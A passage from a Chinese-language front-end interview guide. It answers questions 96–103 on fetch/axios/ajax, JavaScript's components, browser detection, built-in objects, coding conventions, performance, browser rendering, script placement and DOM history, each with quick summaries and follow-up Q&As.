  • 错误处理:axios和fetch支持Promise API,可以使用catch方法捕获错误;ajax需要通过error回调函数来处理错误。
  • 请求取消:axios和fetch支持请求的取消操作,可以提前终止请求;ajax没有原生的取消请求的方法。
  • 默认带cookie:axios和ajax默认会自动携带请求的cookie信息,而fetch默认不会携带,需要手动配置。
  • 请求进度监测:axios和ajax支持原生监测请求的进度,如上传和下载的进度;fetch没有原生的请求进度监测方法。

jQuery ajax

$.ajax({
  type: 'POST',
  url: url,
  data: data,
  dataType: dataType,
  success: function () {},
  error: function () {}
});

优缺点:

  • 本身是针对MVC的编程,不符合现在前端MVVM的浪潮
  • 基于原生的XHR开发,XHR本身的架构不清晰,已经有了fetch的替代方案
  • JQuery整个项目太大,单纯使用ajax却要引入整个JQuery非常的不合理(采取个性化打包的方案又不能享受CDN服务)

axios

axios({
  method: 'post',
  url: '/user/12345',
  data: {
      firstName: 'Fred',
      lastName: 'Flintstone'
  }
})
.then(function (response) {
  console.log(response);
})
.catch(function (error) {
  console.log(error);
});

优缺点:

  • 从浏览器中创建 XMLHttpRequest
  • 从 node.js 发出 http 请求
  • 支持 Promise API
  • 拦截请求和响应
  • 转换请求和响应数据
  • 取消请求
  • 自动转换JSON数据
  • 客户端支持防止CSRF/XSRF

fetch

try {
  let response = await fetch(url);
  let data = response.json();
  console.log(data);
} catch(e) {
  console.log("Oops, error", e);

}

优缺点:

  • fetcht只对网络请求报错,对400,500都当做成功的请求,需要封装去处理
  • fetch默认不会带cookie,需要添加配置项
  • fetch不支持abort,不支持超时控制,使用setTimeout及Promise.reject的实现的超时控制并不能阻止请求过程继续在后台运行,造成了量的浪费
  • fetch没有办法原生监测请求的进度,而XHR可以

💬 面试官追问

  • 接口返回 500,fetch 的 .catch 为什么没进去?

    fetch 只要拿到了响应就算成功,状态码是 500 也 resolve。要自己判断:if (!res.ok) throw new Error(res.status)。只有断网、DNS 失败、被 CORS 拦这类没拿到响应的情况才 reject。

  • 用 fetch 怎么做请求超时?

    fetch(url, { signal: AbortSignal.timeout(5000) }),超时会以 TimeoutError 拒绝。要同时支持手动取消和超时,可以用 AbortSignal.any([controller.signal, AbortSignal.timeout(5000)])。

  • 上传大文件要显示进度条,用 fetch 还是 axios?

    用 axios 的 onUploadProgress,它底层是 XHR 的 upload.onprogress。fetch 目前没有标准的上传进度,下载进度倒是可以读 res.body 这个流自己算。

  • token 过期返回 401,想无感刷新后重放请求,怎么做?

    在 axios 响应拦截器里捕获 401,调刷新接口拿新 token,再用原请求的 config 重发。并发多个请求同时 401 时要加一个锁,只刷新一次,其他请求排队等新 token,否则会刷新好几次。

  • 跨域接口要带登录 cookie,axios 和 fetch 分别怎么配?

    axios 设 withCredentials: true,fetch 设 credentials: 'include'。服务端必须返回 Access-Control-Allow-Credentials: true,而且 Allow-Origin 不能是 *,要写具体域名;cookie 本身跨站还要 SameSite=None; Secure。

# 96 JavaScript的组成

⚡ 30 秒速记

  • 浏览器里的 JS = ECMAScript(语言本身)+ DOM(操作页面)+ BOM(操作浏览器)
  • ECMAScript 由 TC39 制定,ES2015 起每年一版;它只管语法、类型、内置对象,不管页面
  • DOM 现在由 WHATWG 维护 Living Standard,把文档表示成节点树
  • BOM 历史上没有统一标准,window、location、history、navigator 后来都被收进了 HTML 规范
  • 换到 Node 就没有 DOM / BOM,取而代之的是 fs、process 这些宿主 API;setTimeout、console 其实也不属于 ECMAScript

浏览器里的 JavaScript 通常说由三部分组成:ECMAScript 是语言本身,DOM 用来操作页面,BOM 用来和浏览器打交道。 可以这么记:ECMAScript 决定「怎么写代码」,DOM 和 BOM 是浏览器这个宿主额外提供的「能操作什么」。所以同样是 JS,在 Node 里就没有 document,有的是 fs 和 process。我会顺带补一句,像 fetch、setTimeout、localStorage 这些常用的东西,严格说都是 Web API,不在 ECMAScript 规范里。

JavaScript由三部分组成:

  1. ECMAScript(核心):ECMAScript是JavaScript的基础,定义了语言的语法、类型、语句、关键字等。它规定了JavaScript的基本语法、数据类型、函数、运算符、控制流等核心特性,并提供了对数组、对象、字符串、正则表达式等的操作方法和功能。ECMAScript的版本以ES6(ES2015)为基准,随着时间的推移,新版本的ECMAScript引入了更多的语言特性和功能。
  2. DOM(文档对象模型):DOM是一种表示和操作HTML、XML文档的接口。它定义了文档的结构、属性和方法,允许开发者通过JavaScript来访问和修改网页的内容、结构和样式。DOM将文档表示为一个树形结构,其中每个节点代表文档中的一个元素、属性、文本等。开发者可以使用DOM提供的API对这些节点进行增删改查操作,实现动态更新和交互效果。
  3. BOM(浏览器对象模型):BOM是一种提供了与浏览器窗口进行交互的接口。它提供了访问浏览器窗口、处理窗口尺寸、导航历史、处理Cookie、发送HTTP请求等功能。BOM中的对象包括window、navigator、location、history、screen等,开发者可以使用这些对象来控制浏览器的行为和获取相关信息。

这三部分共同构成了JavaScript的整体,使其成为一种强大的编程语言,能够在网页中实现丰富的交互和动态效果。

💬 面试官追问

  • setTimeout 属于 ECMAScript 吗?

    不属于。它定义在 HTML 规范里,是浏览器提供的宿主 API,Node 自己也实现了一份,所以两边返回值都不一样:浏览器返回数字 id,Node 返回一个 Timeout 对象。

  • 在 Node 里写 document.querySelector 会怎样?

    直接报 ReferenceError: document is not defined。SSR 项目里常见这个错,组件在服务端执行时访问了 window 或 document,要挪到 useEffect / onMounted 里,或者先判断 typeof window !== 'undefined'。

  • ES6 和 ES2015 是什么关系?

    同一个版本。ES6 之后 TC39 改成每年发布一版,用年份命名,ES2016、ES2017……一直到现在。平时说的 ES6+ 一般泛指 2015 年之后的新语法。

  • window 和 globalThis 有什么区别?

    window 只在浏览器主线程里有,Worker 里是 self,Node 里是 global。ES2020 加了 globalThis,在哪个环境都能拿到全局对象,写跨端代码用它。

  • 为什么说 BOM 没有标准,现在还是这样吗?

    早年各浏览器各自实现,确实没有统一规范。现在 window、location、history、navigator 都已经写进 HTML Living Standard 了,「BOM 没有标准」算是历史说法。

# 97 检测浏览器版本有哪些方式?

⚡ 30 秒速记

  • 首选特性检测:你真正关心的是「能不能用这个 API」,'IntersectionObserver' in window、CSS.supports('display', 'grid')
  • navigator.userAgent 解析:最常见也最不可靠,可以伪造;Chrome 已做完 UA 缩减,系统版本等信息被冻结成固定值
  • navigator.userAgentData(UA Client Hints):结构化数据,仅 Chromium 系支持、要 HTTPS,Firefox / Safari 没有
  • 服务端识别用 Sec-CH-UA 系列请求头;统计、针对特定浏览器的已知问题打补丁时才需要识别版本
  • 构建期用 browserslist 声明目标浏览器,让 Babel / Autoprefixer 处理兼容,而不是运行时判断版本

检测浏览器版本有 userAgent 解析、userAgentData 和特性检测几种方式,但我实际开发里能用特性检测就不做版本检测。 原因很简单,UA 字符串能被伪造,而且 Chrome 已经做了 UA 缩减,很多信息是冻结的假值,靠它判断迟早出错。userAgentData 给的是结构化数据,不过只有 Chromium 系支持。真需要识别版本的场景主要是数据统计,或者某个浏览器版本有已知缺陷要单独绕过,这时候用 UA 并接受它不百分百准。

检测浏览器版本可以使用以下几种方式:

  1. 使用navigator.userAgent:通过检查navigator.userAgent属性,可以获取包含了浏览器相关信息的用户代理字符串。可以根据用户代理字符串中的特定关键字或标识符来确定浏览器的类型和版本。例如,使用UA.toLowerCase().indexOf('chrome')可以检测是否为Chrome浏览器。
  2. 使用window对象的成员:根据浏览器的不同,window对象的成员可能会有所差异。可以通过检查特定的window对象成员是否存在来确定浏览器的类型和版本。例如,通过检查'ActiveXObject' in window可以判断是否为IE浏览器。
  3. 使用现成的JavaScript库或框架:有一些专门用于检测浏览器类型和版本的JavaScript库或框架,如Bowser、Platform.js等。这些库提供了简单易用的API,可以方便地获取浏览器信息。

需要注意的是,检测浏览器版本可能会受到用户代理字符串的伪造或篡改,因此并不是一种绝对可靠的方法。在实际应用中,最好结合多种方式进行浏览器版本的检测,以增加准确性和可靠性。

💬 面试官追问

  • 为什么不推荐用 'ActiveXObject' in window 判断 IE 了?

    IE11 里 window.ActiveXObject 被故意隐藏了,这个判断返回 false,一直得用 'ActiveXObject' in window 这种绕法。而且 IE 已经在 2022 年停止支持,现在新项目一般直接不支持 IE,没必要再判断。

  • 想判断能不能用 Array.prototype.at,怎么写?

    if (typeof Array.prototype.at === 'function'),不支持就引 polyfill 或走降级逻辑。这比判断「Chrome 版本大于 92」可靠得多,换个浏览器内核也不会错。

  • iPad 上的 Safari 用 UA 判断成了 Mac,为什么?

    iPadOS 13 起 Safari 默认请求桌面版网站,UA 和 macOS 一模一样。要区分可以加一条 navigator.maxTouchPoints > 1,但这本身就说明 UA 判断设备很脆弱。

  • 后端想按浏览器返回不同的资源,前端什么都不传能做到吗?

    可以用 Client Hints:服务端响应头写 Accept-CH: Sec-CH-UA-Full-Version-List,后续请求浏览器就会带上对应请求头。同样只有 Chromium 系支持,其他浏览器还得回退到 User-Agent。

  • 项目要兼容哪些浏览器,这件事应该在哪定?

    在 package.json 的 browserslist 字段或 .browserslistrc 里定,比如 > 0.5%, last 2 versions, not dead。Babel、Autoprefixer、PostCSS 都会读它,统一决定转译和加前缀的范围。

# 98 介绍JS有哪些内置对象

⚡ 30 秒速记

  • 和前面第 31 题是同一题,答法一样,按类别说比背清单好记
  • 基础:Object、Function、Array、String、Number、Boolean、Symbol、BigInt
  • 工具:Math、JSON、Date、RegExp、Error 系列、Intl;集合:Map、Set、WeakMap、WeakSet
  • 异步 / 元编程 / 二进制:Promise、Proxy、Reflect、WeakRef;ArrayBuffer、TypedArray、DataView
  • window、document、console、setTimeout 是宿主提供的,不是 ECMAScript 内置对象

JS 的内置对象我一般分几类说:基础类型相关的、工具类的、集合类的,再加上异步和元编程相关的。 基础类就是 Object、Array、String 这些;工具类有 Math、JSON、Date、RegExp,其中 Math 和 JSON 不是构造函数,不能 new;集合类是 Map、Set 和它们的弱引用版本;异步和元编程是 Promise、Proxy、Reflect。最后补一句区分:window、document、console 是浏览器宿主给的,不是语言内置的,这点面试官很爱追。

当提到JavaScript的内置对象时,以下是一些常见的和全面的内置对象的列表:

  1. 基本数据类型封装对象:
  • Object:用于创建对象的基类。
  • Array:用于创建和操作数组的对象。
  • Boolean:表示布尔值的对象,包括true和false。
  • Number:表示数字的对象,可以进行数值操作和转换。
  • String:表示字符串的对象,提供了字符串操作和处理的方法。
  • BigInt:表示任意精度整数的对象,用于处理超出Number范围的整数。
  1. 功能类对象:
  • Function:用于定义和调用函数的对象。
  • Date:用于处理日期和时间的对象。
  • RegExp:用于进行正则表达式匹配和操作的对象。
  • Error:表示错误的对象,用于抛出和处理异常。
  • Math:提供了各种数学运算的方法和常量。
  1. 集合类对象:
  • Set:表示一组唯一值的集合。
  • Map:提供了键值对的数据结构,可以使用任何数据类型作为键。
  • WeakSet:类似于Set,但只能存储对象引用,并且不会阻止垃圾回收。
  • WeakMap:类似于Map,但只能使用对象作为键,并且不会阻止垃圾回收。
  1. 其他对象:
  • Symbol:表示唯一标识符的数据类型,用于创建对象的属性键。
  • Promise:用于处理异步操作的对象,提供了更好的处理异步任务的方式。
  • Proxy:用于创建对象的代理,可以拦截并自定义对象的操作。
  • Reflect:提供了一组静态方法,用于操作对象的属性和方法。
  • JSON:用于解析和序列化JSON数据的对象。

这只是一些常见的内置对象,JavaScript还有许多其他内置对象和全局函数,用于处理各种类型的数据和操作。根据不同的需求和场景,可以选择适合的内置对象来使用。

💬 面试官追问

  • 'abc'.length 能用,可字符串明明是原始值,属性哪来的?

    自动装箱:访问属性时引擎临时包了一个 String 对象,用完就丢。所以 const s = 'a'; s.x = 1; console.log(s.x) 输出 undefined,临时对象已经没了。

  • new Number(1) === 1 结果是什么?

    false。new Number(1) 是对象,typeof 是 'object',和原始值 1 严格比较不相等。包装对象几乎没有正当用途,业务代码里别 new String / new Number。

  • Math 和 JSON 为什么不能 new?

    它们只是挂了一堆静态方法的普通对象,不是构造函数。new Math() 会报 TypeError: Math is not a constructor。

  • 什么场景下用 Map 而不是普通对象?

    key 不是字符串的时候,比如拿 DOM 节点或对象当 key;还有频繁增删、需要按插入顺序遍历、要直接拿 size 的场景。普通对象的 key 只能是字符串或 Symbol,还可能和原型上的属性撞名。

  • Reflect 有什么用,直接操作对象不行吗?

    它把对象操作统一成函数,返回值更规范,比如 Reflect.defineProperty 失败返回 false 而不是抛错。最主要的用途是在 Proxy 的拦截器里用 Reflect.get(target, key, receiver) 转发默认行为,保证 getter 里的 this 正确。

# 99 说几条写JavaScript的基本规范

⚡ 30 秒速记

  • 和前面第 32 题是同一题,能落到工具上的规范才算数
  • 声明:默认 const,要重新赋值才用 let,不用 var;比较用 ===(唯一例外:x == null 同时判 null 和 undefined)
  • 格式交给 Prettier,规则交给 ESLint,提交时 husky + lint-staged 卡住,别靠人自觉
  • 不吞错误:不写空 catch,async 函数调用要么 await 要么 .catch
  • 命名比注释重要:变量名说清楚是什么,注释讲为什么这么写

我觉得规范最重要的不是条目本身,而是团队统一并且用工具强制执行。 缩进用几个空格、要不要分号,这种争论交给 Prettier,配好就别讨论了。真正影响出错率的是几条:默认 const,用 ===,不制造隐式全局变量,错误不能吞掉。很多老规范里推荐的 'use strict' 现在基本不用手写了,ES module 和 class 内部默认就是严格模式。规则写进 ESLint,提交前 lint-staged 只检查改动的文件,CI 里再跑一遍。

以下是一些常见的JavaScript编码规范:

  1. 使用一致的缩进:推荐使用四个空格进行缩进,而不是制表符。
  2. 使用一致的代码风格:在代码中使用一致的花括号(大括号)风格,可以是"K&R"风格(花括号放在行尾)或"Allman"风格(花括号独占一行)。
  3. 使用分号结束语句:在每条语句的末尾使用分号结束,这有助于避免意外的错误。
  4. 声明变量和函数:在使用之前,先声明变量和函数,避免隐式的全局变量。
  5. 命名约定:使用有意义且符合约定的变量和函数命名,采用驼峰命名法,首字母小写,构造函数使用大写字母开头,常量全大写。
  6. 使用严格模式:在脚本或函数的开头使用严格模式('use strict'),可以帮助捕获潜在的错误并使代码更加安全。
  7. 编写清晰的注释:使用注释来解释代码的用途、思路或重要细节,有助于他人理解代码。
  8. 格式化对象和数组:使用花括号{}来声明对象,使用方括号[]来声明数组,并且按照一定的格式排列其中的元素,提高可读性。
  9. 使用单引号或双引号:可以选择使用单引号或双引号来表示字符串,但要保持一致性。
  10. 避免使用全局变量:尽量避免使用全局变量,使用模块化的方式组织代码,减少命名冲突和意外的副作用。

这些规范有助于提高代码的可读性、可维护性和一致性,使团队协作更加顺畅,并降低代码出错的风险。在编写JavaScript代码时,遵循一致的编码规范是一个良好的实践。

💬 面试官追问

  • 都 2026 年了,还需要在文件开头写 'use strict' 吗?

    一般不需要。ES module 和 class 体内自动是严格模式,现代项目经过打包基本都是模块。只有老式的 script 直接引入的脚本才需要手写。

  • 团队里有人坚持用 ==,说少写几个字符,你怎么看?

    不接受,'' == 0、'0' == false 都是 true,隐式转换规则没几个人能背全。唯一放行的是 x == null,它等价于判断 null 或 undefined,ESLint 的 eqeqeq 规则也有 smart 选项专门允许这种写法。

  • ESLint 和 Prettier 规则冲突,保存时来回改格式,怎么解决?

    装 eslint-config-prettier 关掉 ESLint 里所有和格式相关的规则,格式只让 Prettier 管。ESLint 只负责代码质量问题,比如未使用变量、Promise 没处理。

  • 有人提交时用 --no-verify 跳过了 lint,怎么防?

    本地钩子本来就能被绕过,所以 CI 必须再跑一次 lint 和类型检查,不通过不能合并。本地钩子是为了早发现,CI 才是真正的关卡。

  • try { ... } catch (e) {} 这种空 catch,你会怎么改?

    至少要上报或打日志,比如 catch (e) { reportError(e) }。如果确实是可以忽略的错误,也要写注释说明为什么忽略,不然下一个人看到会以为是漏写了。

# 100 如何编写高性能的JavaScript

⚡ 30 秒速记

  • 先测再改:Performance 面板录一段,看长任务、火焰图里谁最耗时,别凭感觉优化
  • 最有效的一条是少下载、少执行:代码分割、懒加载、defer / async,主线程要解析执行的 JS 越少越好
  • 长任务拆开:超过 50ms 就算长任务,会拖慢交互(影响 INP);用 scheduler.yield() / setTimeout 切片,或丢进 Web Worker
  • DOM:先读后写避免强制同步布局、批量改 class、长列表用虚拟滚动;事件用委托,scroll / touchmove 监听加 passive: true
  • 数据结构选对:频繁查找用 Map / Set 代替数组 includes;「缓存 length」「少嵌套属性访问」这类微优化在现代引擎里基本没收益

写高性能 JS,我的思路是先找到真正慢的地方,再对症下药,而且最大的收益通常来自「少干活」。 一个页面卡,八成是加载了太多 JS,或者某个任务在主线程上跑太久,而不是循环里多读了一次 length。所以我会先用 Performance 面板看长任务和火焰图,然后按收益排:首屏用不到的代码拆出去懒加载;长任务拆片让出主线程;DOM 操作先读后写、批量更新;O(n²) 的查找换成 Map。网上很多老建议,比如缓存数组长度、避免嵌套属性访问,在 V8 优化之后差别很小,不值得牺牲可读性。

以下是一些编写高性能JavaScript的技巧:

  1. 使用严格模式:在JavaScript代码中使用严格模式,可以帮助检测潜在的错误,并提高代码性能。
  2. 将脚本放在底部:将JavaScript脚本放在HTML页面的底部,这样可以避免阻塞页面的渲染,提高页面加载速度。
  3. 打包和压缩代码:将JavaScript脚本进行打包和压缩,减少网络请求和文件大小,提高加载速度。
  4. 非阻塞下载:使用异步加载的方式下载JavaScript脚本,通过将脚本放在<script>标签的async或defer属性中,避免阻塞页面的渲染。
  5. 减少全局变量的使用:尽量避免过多使用全局变量,使用局部变量来保存数据,减少作用域链的查找时间。
  6. 优化循环和迭代:在循环和迭代过程中,尽量减少重复的计算和操作,将需要重复使用的值存储在局部变量中,避免重复访问对象成员。
  7. 缓存DOM访问:在访问DOM节点时,尽量将访问结果缓存起来,避免重复查询DOM树,提高代码执行效率。
  8. 避免使用eval()和Function()构造器:这些方法会动态编译和执行代码,对性能有一定的影响,尽量避免使用它们。
  9. 使用直接量创建对象和数组:在创建对象和数组时,尽量使用直接量的方式,避免使用构造函数,这样可以减少额外的函数调用和内存分配。
  10. 最小化重绘和回流:重绘(repaint)和回流(reflow)是页面渲染的过程,它们会消耗大量的计算资源,尽量避免频繁的重绘和回流,可以通过合并操作、使用CSS动画等方式来优化。 当涉及到编写高性能的JavaScript代码时,还有一些其他的技巧可以考虑:
  11. 减少对象成员嵌套:在访问对象的成员时,尽量减少多层嵌套,这样可以提高访问速度。例如,将obj1.obj2.prop改为obj1Prop。
  12. 避免频繁的字符串操作:字符串操作比较耗费性能,尤其是在循环中频繁拼接字符串。可以使用数组或模板字符串来优化字符串操作。
  13. 使用事件委托:对于需要监听多个子元素事件的情况,可以将事件监听器添加到它们的父元素上,通过事件冒泡机制来处理事件。这样可以减少事件监听器的数量,提高性能。
  14. 避免频繁的重绘:如果需要对DOM进行多次修改,最好将这些修改操作放在一起,而不是分散在多个地方,这样可以减少重绘次数。
  15. 使用局部作用域:将代码封装在函数或模块中,利用局部作用域来限制变量的作用范围,避免命名冲突和全局变量污染。
  16. 使用合适的数据结构和算法:在处理大量数据或复杂逻辑时,选择合适的数据结构和算法可以提高代码的效率。了解不同数据结构和算法的特点,选择最佳的方案。
  17. 节流和防抖:对于一些频繁触发的事件(如滚动、调整窗口大小等),可以使用节流和防抖的技术来限制事件的触发频率,减少不必要的计算和操作。
  18. 使用性能分析工具:利用浏览器提供的性能分析工具(如Chrome的开发者工具)来检测和分析代码的性能瓶颈,找到需要优化的地方。
  19. 避免使用过时的方法和特性:某些方法和特性可能已经过时或存在性能问题,尽量避免使用它们,使用最新的标准和API来编写代码。
  20. 定期进行代码优化和重构:不断优化和重构代码,去除冗余和低效的部分,使代码保持简洁、高效和易于维护。

综合使用这些技巧,可以显著提高JavaScript代码的性能和执行效率。但需要注意的是,优化代码时应该根据具体情况进行评估和测试,避免过度优化导致代码可读性和可维护性的降低。

💬 面试官追问

  • 列表页渲染 1 万条数据,点「全选」要卡 2 秒,从哪下手?

    先看是渲染慢还是计算慢。大概率是 1 万个 DOM 节点都在更新,上虚拟滚动只渲染可视区的几十条;如果是计算慢,看看是不是在循环里用 array.includes 查选中状态,换成 Set 能从 O(n²) 降到 O(n)。

  • 有人说 for 循环比 forEach 快,要求全改成 for,你怎么看?

    先拿实际场景测,绝大多数业务数据量下差别是微秒级,不值得为此牺牲可读性。真正需要的是热点路径,比如每帧都要跑的动画计算、几十万条数据的处理,这时候测出来有差距再改。

  • 页面 INP 指标很差,用户点按钮要等半秒才有反应,一般是什么原因?

    点击事件回调里干了太重的活,或者恰好有别的长任务占着主线程。先把视觉反馈做出来(比如按钮 loading),重的计算用 await scheduler.yield() 让出主线程,或者推到 Worker 里。

  • passive: true 到底优化了什么?

    浏览器处理 touchmove、wheel 时,不知道你会不会 preventDefault,只能等回调执行完才敢滚动。标了 passive 等于告诉它「我不拦」,滚动可以立即开始。Chrome 对 document 级的 touchstart / touchmove 已经默认 passive。

  • 有人说「开严格模式能提高性能」,对吗?

    不能这么说。严格模式主要是禁掉一些危险写法,比如隐式全局变量、with,早期确实让引擎更好优化,但现在不是性能手段。拿它当性能优化回答,面试官会觉得你是背的。

# 101 描述浏览器的渲染过程,DOM树和渲染树的区别

⚡ 30 秒速记

  • 主流程:HTML → DOM 树;CSS → CSSOM;合成渲染树 → 布局(算位置尺寸)→ 分层 → 绘制 → 栅格化 → 合成上屏
  • DOM 树是文档的完整结构,head、script、display: none 的节点都在
  • 渲染树只放「要画出来的」:display: none 不在,visibility: hidden / opacity: 0 在(还占位置);::before 伪元素不在 DOM 里但在渲染树里
  • 阻塞关系:CSS 阻塞渲染,同步 JS 阻塞 HTML 解析,CSS 还会阻塞后面 JS 的执行
  • 加分点:transform / opacity 动画可以只走合成,跳过布局和绘制

浏览器把 HTML 解析成 DOM 树、CSS 解析成 CSSOM,两者合成渲染树,再经过布局、绘制、合成才显示到屏幕上。 区别可以这么记:DOM 树是「文档里有什么」,渲染树是「屏幕上要画什么」。所以 display: none 的元素在 DOM 里有、渲染树里没有;反过来 ::before 这种伪元素,DOM 里找不到,渲染树里却有。visibility: hidden 虽然看不见,但还占位置,所以它也在渲染树里。理解了这个流程,回流、重绘、为什么 CSS 放头部 JS 放底部,都能自然推出来。

浏览器的渲染过程:

  1. 解析 HTML 构建 DOM(文档对象模型)树:浏览器将接收到的 HTML 文档解析成一个树状结构,该结构被称为 DOM 树。DOM 树表示了 HTML 文档的结构和内容。
  2. 解析 CSS 构建 CSSOM(CSS 对象模型)树:浏览器将接收到的 CSS 文件解析成一个树状结构,该结构被称为 CSSOM 树。CSSOM 树表示了 CSS 样式规则的层级和规则。
  3. 合并 DOM 树和 CSSOM 树生成渲染树(Render Tree):浏览器将 DOM 树和 CSSOM 树合并,生成一个渲染树(Render Tree)。渲染树只包含需要显示在页面上的节点,隐藏的节点(如 head)和不可见的节点(如 display: none)不包含在渲染树中。
  4. 布局(Layout):渲染树中的每个节点都有对应的布局信息,浏览器根据这些布局信息计算节点在屏幕中的位置和大小,这个过程称为布局或回流(reflow)。
  5. 绘制(Painting):浏览器根据渲染树的布局信息和样式信息,将节点绘制到屏幕上,这个过程称为绘制或重绘(repaint)。

DOM 树和渲染树的区别:

  • DOM 树(文档对象模型树)是由 HTML 文档解析而来,它反映了文档的结构和内容,包括 HTML 标签、文本节点和注释等。DOM 树中的每个节点都有其对应的 CSS 样式规则。
  • 渲染树(Render Tree)是由 DOM 树和 CSSOM 树合并而成,它是用于显示在浏览器中的树状结构。渲染树只包含需要显示在页面上的节点,不包含隐藏的节点和不可见的节点。渲染树中的每个节点都有其对应的布局信息和样式信息,用于计算节点在屏幕中的位置和大小,并将节点绘制到屏幕上。

总结:DOM 树表示了 HTML 文档的结构和内容,而渲染树是为了将文档在浏览器中显示而构建的树结构。渲染树只包含需要显示的节点,并且每个节点都有对应的布局和样式信息,用于计算和绘制节点在屏幕上的位置和外观。

💬 面试官追问

  • visibility: hidden 和 display: none 的元素,哪个在渲染树里?

    visibility: hidden 在,它还要占位置、参与布局,只是不画;display: none 不在,所以切换它会触发回流。opacity: 0 也在,甚至还能响应点击。

  • CSS 文件加载慢,页面会一直白屏吗?

    会。CSS 阻塞渲染,没有 CSSOM 就生成不了渲染树,浏览器宁可白屏也不先画一个没样式的页面。所以关键 CSS 要内联或尽早加载,非首屏的样式可以用 media 属性或异步加载。

  • 为什么 CSS 加载会阻塞后面的 JS 执行?

    因为 JS 可能会读样式,比如 getComputedStyle,浏览器要保证读到的是正确值,就得等前面的 CSS 解析完再执行脚本。这样一来 CSS 间接也阻塞了 HTML 解析。

  • 动画用 left 和用 transform 移动,渲染流程上差在哪?

    改 left 每帧都要重新布局、绘制、合成;transform 在元素已经有独立合成层时,只需要合成线程挪一下图层,主线程忙也不卡。所以动画优先用 transform 和 opacity。

  • 渲染树、布局树、Layout Tree 这几个词是一回事吗?

    基本是同一个概念的不同叫法。「渲染树」是早期文章的说法,Chrome 现在的实现里叫 Layout Tree,之后还有分层用的 Layer Tree 和绘制记录,细节不同但面试讲渲染树就够了。

# 102 script 的位置是否会影响首屏显示时间

⚡ 30 秒速记

  • 会。普通 script 会暂停 HTML 解析,等下载并执行完才继续,放在 <head> 里首屏就被推迟
  • 放 <body> 底部:内容先解析出来,但脚本发现得晚
  • 更好的是 <head> 里加 defer:下载和解析并行,HTML 解析完按顺序执行,在 DOMContentLoaded 之前
  • async:下载完立刻执行、不保证顺序,适合统计这类独立脚本;type="module" 默认就是 defer 行为
  • 浏览器有预加载扫描器,底部脚本也会提前下载,真正卡住的是执行;CSS 还会阻塞它后面脚本的执行

会影响,因为普通 script 会阻塞 HTML 解析,浏览器要等它下载、执行完才继续往下解析和渲染。 放在 <head> 里,脚本没执行完,body 都还没解析,首屏自然出不来。老办法是放到 <body> 底部,现在我更推荐放 <head> 里加 defer:下载和解析同时进行,解析完再按顺序执行,既不阻塞又能早点开始下载。和页面无关的第三方统计脚本用 async。衡量效果就看 FCP 和 LCP,Lighthouse 会直接列出阻塞渲染的资源。

时序图 · 4 个参与者 / 10 步
alt 普通 script加了 deferHTML 解析器HTML 解析器网络网络JS 引擎JS 引擎渲染渲染解析 head1请求脚本2暂停解析,页面不能渲染脚本下载完成3执行完毕,继续解析4解析 body 后才首次渲染5请求脚本,不暂停6继续解析 body,可以先渲染7脚本下载完成,先等着8解析结束,按顺序执行9执行完,触发 DOMContentLoaded10
  • script 的位置对首屏显示时间有影响。虽然浏览器在解析 HTML 生成 DOM 过程中,js 文件的下载是并行的,不需要 DOM 处理到 script 节点,但是脚本的执行会阻塞页面的解析和渲染。
  • 当浏览器遇到 script 标签时,会暂停解析 HTML,开始下载并执行脚本。只有脚本执行完毕后,浏览器才会继续解析和渲染页面。
  • 如果 script 标签放在 <head> 标签中,那么脚本的下载和执行会先于页面的渲染,这样会延迟首屏显示的开始时间。
  • 为了提高首屏显示时间,一般建议将 script 标签放在 <body> 标签底部,在大部分内容都已经显示出来后再加载和执行脚本,这样可以让页面尽快呈现给用户,提升用户体验。
  • 另外,可以使用异步加载的方式(如将 script 标签添加 async 属性)或延迟加载的方式(如将 script 标签添加 defer 属性),来减少脚本对页面加载的阻塞影响。这样可以在不阻塞页面渲染的情况下加载和执行脚本,加快首屏显示的完成时间。

💬 面试官追问

  • defer 和 async 都不阻塞解析,那区别在哪?

    执行时机和顺序。defer 等 HTML 解析完,按书写顺序执行;async 下载完就执行,谁先下完谁先跑,还可能打断解析。有依赖关系的脚本(比如先 jQuery 后插件)只能用 defer。

  • 脚本放在 body 底部,还有必要加 defer 吗?

    基本没区别,因为解析到那里时内容已经差不多了。但放 <head> 加 defer 能让浏览器更早发现并开始下载,脚本大的时候首屏可交互会更早一点。

  • 用 document.createElement('script') 动态插入的脚本,会阻塞吗?

    不会,动态插入的脚本默认就是 async 行为。想让多个动态脚本按顺序执行,要显式设 script.async = false。

  • <head> 里一个第三方 SDK 加载要 3 秒,首屏白了 3 秒,怎么止血?

    先加 async 或 defer,让它不挡解析;如果业务代码依赖它,就把调用改成等它加载完的回调或事件。再进一步,用 <link rel="preconnect"> 提前建好连接,或者把它延后到页面空闲时再加载。

  • type="module" 的脚本需要加 defer 吗?

    不需要,模块脚本默认就按 defer 的方式加载和执行。给它加 async 才会变成下载完立刻执行。

# 103 介绍 DOM 的发展

⚡ 30 秒速记

  • DOM 0:没有标准,浏览器各自实现,比如 document.forms、el.onclick
  • DOM 1(1998):W3C 第一个标准,Core 定义节点树,HTML 部分定义 HTML 专用接口,getElementById 就在这时
  • DOM 2:事件模型(addEventListener、捕获和冒泡)、样式接口(getComputedStyle)、遍历和范围
  • DOM 3:键盘事件、XPath、文档加载与保存
  • 之后不再按版本号走,WHATWG 维护 DOM Living Standard 持续更新:querySelector、classList、closest、MutationObserver、Shadow DOM 都是后来加的

DOM 的发展就是从「各家浏览器各写各的」走到「统一标准」,再到现在的「持续更新的活标准」。 DOM 0 是早期 Netscape 和 IE 各自的实现,像 onclick 赋值、document.forms 都是那时候的;W3C 后来出了 DOM 1 统一节点树的操作,DOM 2 加上了标准事件模型,addEventListener 和捕获冒泡就是这时来的,DOM 3 补了键盘事件和 XPath。现在已经没有 DOM 5 这种说法了,WHATWG 一直在更新,MutationObserver、Shadow DOM 都是后来逐步加进去的。

  • DOM:文档对象模型(Document Object Model),定义了访问HTML和XML文档的标准,与编程语言及平台无关
  • DOM Level 0:提供了查询和操作Web文档的内容API。未形成标准,实现混乱。如:document.forms['login']
  • DOM Level 1:W3C提出标准化的DOM,简化了对文档中任意部分的访问和操作。如:JavaScript中的Document对象
  • DOM Level 2:原来DOM基础上扩充了鼠标事件等细分模块,增加了对CSS的支持。如:getComputedStyle(elem, pseudo)
  • DOM Level 3:增加了XPath模块和加载与保存(Load and Save)模块。如:XPathEvaluator
  • DOM Level 4:继续扩展了 DOM 标准,引入了一些新的接口和功能,如 MutationObserver 用于监听 DOM 变动、Shadow DOM 用于创建独立的 DOM 子树等

💬 面试官追问

  • DOM 0 级不是标准,为什么现在 el.onclick 还能用?

